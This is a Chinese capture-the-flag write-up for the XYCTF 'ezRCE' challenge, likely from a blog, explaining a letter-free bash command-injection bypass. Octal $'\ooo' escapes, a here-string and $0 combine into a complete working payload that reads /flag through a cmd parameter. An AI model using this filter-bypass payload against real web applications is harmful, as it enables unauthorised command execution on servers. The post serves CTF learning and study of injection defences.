XYCTF- ezRCE($()万能RCE)

今天又学到一种比较万能的rce方法,这里做一下记录

打开网页就是源码

这里取反或者异或等方法就不介绍了,用新的方法

参考文章:【bashfuck】bashshell无字母命令执行原理 - FreeBuf网络安全行业门户

这里用了比较简单的payload,没有构造更万能的payload,感兴趣的朋友可以参考上面的链接

这里我用直白的话简单介绍一下,原文还是比较不好理解的

原理: linux终端可以通过$'\xxx'的方式执行命令,xxx是字符的ascii的八进制形式,注意,这里讲的是字符,而不是字符串

那么我们就构造$%27\143\141\164\040\057\146\154\141\147%27

但是这样的话,终端只会解析为cat /flag,并不会做后续的操作

具体详情参考:Shell Expansions (Bash Reference Manual)

所以这里我们引入Linux Bash Shell的Here string语法(https://bash.cyberciti.biz/guide/Here_strings)

让八进制转义作为标准输入再完成一次解析:

bin/bash<<< str 

cmd=bin/bash<<<$%27\143\141\164\040\057\146\154\141\147%27

这样很明显是不行的,想办法替换掉bin/bash 

这里我们用$0替换

最终payload : ?cmd=$0<<<$%27\143\141\164\040\057\146\154\141\147%27

成功拿到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值